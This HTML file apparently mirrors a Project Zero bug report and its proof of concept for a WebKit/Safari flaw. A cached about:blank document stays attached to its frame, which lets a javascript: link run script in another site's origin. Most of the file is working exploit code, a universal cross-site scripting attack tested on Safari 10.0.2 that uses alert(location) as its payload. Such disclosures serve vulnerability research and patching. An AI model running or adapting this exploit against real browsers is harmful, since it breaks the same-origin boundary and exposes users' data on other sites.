48 lines
No EOL
1.1 KiB
HTML
48 lines
No EOL
1.1 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056
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void Frame::setDocument(RefPtr<Document>&& newDocument)
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{
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ASSERT(!newDocument || newDocument->frame() == this);
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if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
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m_doc->prepareForDestruction();
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m_doc = newDocument.copyRef();
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...
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}
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The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
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PoC:
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-->
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"use strict";
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document.write("click anywhere to start");
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window.onclick = () => {
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let w = open("about:blank", "one");
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let d = w.document;
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let a = d.createElement("a");
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a.href = "https://abc.xyz/";
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a.click(); <<------- about:blank -> Document::InPageCache
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let it = setInterval(() => {
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try {
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w.location.href.toString;
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} catch (e) {
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clearInterval(it);
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let s = d.createElement("a"); <<------ about:blank's document
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s.href = "javascript:alert(location)";
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s.click();
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}
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}, 0);
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};
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<!--
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Tested on Safari 10.0.2(12602.3.12.0.1).
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--> |